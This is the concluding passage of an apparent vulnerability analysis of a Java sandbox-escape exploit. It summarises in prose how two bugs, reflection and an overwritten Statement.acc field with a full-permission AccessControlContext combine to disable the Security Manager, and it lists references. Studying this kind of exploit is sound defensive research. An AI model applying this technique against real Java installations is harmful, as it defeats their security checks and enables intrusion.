Putting all together

So this exploit is performing the following steps:
  • Creates a Statement instance that will call System.setSecurityManager(null) method using reflection.
  • Creates a custom AccessControlContext with full permissions.
  • With one bug it gets a reference to the sun.awt.SunToolkit class that is restricted to applets.
  • With the other bug it invokes the getField public static method on sun.awt.SunToolkit using reflection with a trusted immediate caller that bypasses the security checks.
  • With the getField method it is getting a reference to Statement.acc private field and setting its value to the custom AccessControlContext instance previously created.
  • Finally it executes the Statement that will disable the Security Manager bypassing all security checks because it has full permissions set in its AccessControlContext.

Author

Esteban Guillardoy
esteban@immunityinc.com
twitter: @sagar38

References

[1] - Secure Coding Guidelines for the Java Programming Language, Version 4.0 - http://www.oracle.com/technetwork/java/seccodeguide-139067.html


[2] - Java SE 7 Security Architecture - http://docs.oracle.com/javase/7/docs/technotes/guides/security/spec/security-specTOC.fm.html

[3] - Java SE 7 Security Documents - http://docs.oracle.com/javase/7/docs/technotes/guides/security/

[4] - Sami Koivu Blog - Java Trusted Method Chaining (CVE-2010-0840/ZDI-10-056) - http://slightlyrandombrokenthoughts.blogspot.com.ar/2010/04/java-trusted-method-chaining-cve-2010.html